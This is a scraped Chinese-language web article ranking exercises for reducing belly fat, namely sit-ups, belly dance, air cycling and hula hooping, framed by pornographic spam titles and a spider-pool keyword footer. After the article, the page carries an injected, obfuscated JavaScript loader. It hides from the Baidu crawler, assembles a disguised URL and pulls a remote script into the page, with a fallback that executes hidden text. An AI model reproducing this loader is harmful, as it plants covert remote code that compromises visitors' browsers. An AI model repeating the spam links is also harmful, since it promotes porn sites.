久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 減肥 > 運動減肥 > 正文

減肥減肚子最好的運動有哪些呢

2017-04-22 23:42:35  來源:360常識網   熱度:
導語:對許多辦公室的女性來說,最關注的一個地方就是腹部,腹部產生肥肉的因為長時間的坐著不運動,就會讓女性的肚子出現小肚腩,那么這時候在穿

對許多辦公室的女性來說,最關注的一個地方就是腹部,腹部產生肥肉的因為長時間的坐著不運動,就會讓女性的肚子出現小肚腩,那么這時候在穿衣服,或穿緊身的褲子就會顯得非常明顯,難看,然后減掉自己的小肚腩就來了解一下減肥減肚子最好的運動方法有哪些吧?

減肚子最有效的運動是什么?下面,39減肥編輯分享減肚子最有效的5大運動,根據這些運動減肚子的功效列出了一個效果排行榜,一起來看看吧。

NO.1 仰臥起坐

減肚子指數:★★★★★

為什么仰臥起坐是減肚子最有效的運動呢?因為仰臥起坐針對性強,能夠充分鍛煉腹部的脂肪,讓腹部松垮垮的贅肉變得緊實起來,不過動作一定要標準哦,而且運動要適量,否則次日肚子可能會酸到起不來哦。

正確的仰臥起坐做法:仰臥在墊子上,雙腿屈膝成90度左右,腳掌平放地面。雙手可放在頭后,也可放在身體兩側(手的位置越靠近頭部,需要腹部肌力更強,做動作也會更吃力,初學者可以待腹部肌肉增強后再將手交叉在頭后)。利用腹部肌肉的力量慢慢將身體向上拉起,起來時呼氣,當身體上升到離地約10-20厘米厚,收緊腹肌稍作停頓,然后慢慢將身體下降回到原位。

NO.2 肚皮舞

減肚子指數:★★★★★

肚皮舞除了作為一種舞蹈藝術形式以外,也經常被作為一種健身運動而進行推廣。肚皮舞能夠增加腹部肌肉的力量與身體的柔韌性,同時也能夠燃燒大量多余的脂肪,一段持續60分鐘的肚皮舞,能夠燃燒330卡的熱量,是減肚子最有效的運動之一哦。

肚皮舞基礎動作:胯部畫8字

這個動作對減肚子超級有效呢。具體操作方法:雙手舉起或放在腰側,然后保持身體其他部位不懂動,利用腰腹部肌肉力量帶動胯部在空中畫出“8”字??梢栽诩疫吙措娨曔呑鲞@個動作,速度不用很快,但記得要到位,畫出完整的“8”字

NO.3 空中腳踩單車運動

減肚子指數:★★★★

空中腳踏單車運動之所以是減肚子最有效的運動之一,是因為腿部在進行動作時,要運用到腰腹部的力量,動作越到位,對腰腹部的鍛煉就越有力。不過同樣要注意運動不要過量,而且最好在臨睡前在進行這一動作哦,效果會更好。

空中腳踏車運動做法:仰躺在床上或墊子上,然后雙腿抬起,保持上身貼地,然后雙腳屈膝,交替模擬踩單車的動作,每次約30-50次。如果剛開始嘗試,可以在臀部下方墊一個枕頭作支撐。做動作的時候注意腳背最好繃直,動作不要太快,慢慢地把動作做到位,感受腹部及腿部的肌肉變化。

NO.4 搖呼啦圈

減肚子指數:★★★★

呼啦圈之所能能減肚子,是因為在轉動呼啦圈的過程中要充分運用腰腹部的力量,減肚子的同時還能塑造腰部線條哦,不過要選擇重量適中的呼啦圈,太重的話會對身體造成負荷,太輕的話搖起來也很費勁哦。

減小肚子最常見的一種方法就是通過幾種動作來減肚子,可以通過呼啦圈來顫抖,肚子上的贅肉,空中踩單車的運動方式也是不錯的,只要讓我們的肚子動起來,甩去肚子上的肥肉的同時,還可以甩掉胳膊和腿部的肥肉。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 亚洲免费在线观看 | 一级片手机免费看 | 91无吗 | vagaa欧洲色爽免影院 | 亚洲精品日韩激情在线电影 | 国产欧美日韩精品在线 | 久草在线视频网 | 香蕉久久久 | 中文字幕 欧美 日韩 | 国产精品揄拍一区二区久久国内亚洲精 | 成人精品国产 | av一级在线观看 | 激情一区二区三区 | 久久久久无码国产精品一区 | 中文字幕一区二区在线观看 | 日韩av激情在线观看 | 人善交video另类hd国产片 | 国内a∨免费播放 | 视频一区二区三区中文字幕 | 国产视频久久久 | 奇米av| 一区二区三区视频免费在线观看 | 亚洲免费小视频 | 成人久久久精品国产乱码一区二区 | 日本黄a三级三级三级 | www精品美女久久久tv | 亚洲精品午夜aaa久久久 | 国产精品久久久久久久午夜 | 欧美精品在线观看一区二区 | 古典武侠第一页久久777 | 成人99 | 爱啪视频| 美女黄在线观看 | 色爱综合 | 国产中文一区二区三区 | 国产精品一区二区三区免费 | 国产精品欧美久久久久一区二区 | 国产精品免费一区二区三区四区 | 激情国产 | 国精产品一区一区三区免费完 | 亚洲一区二区三区高清 |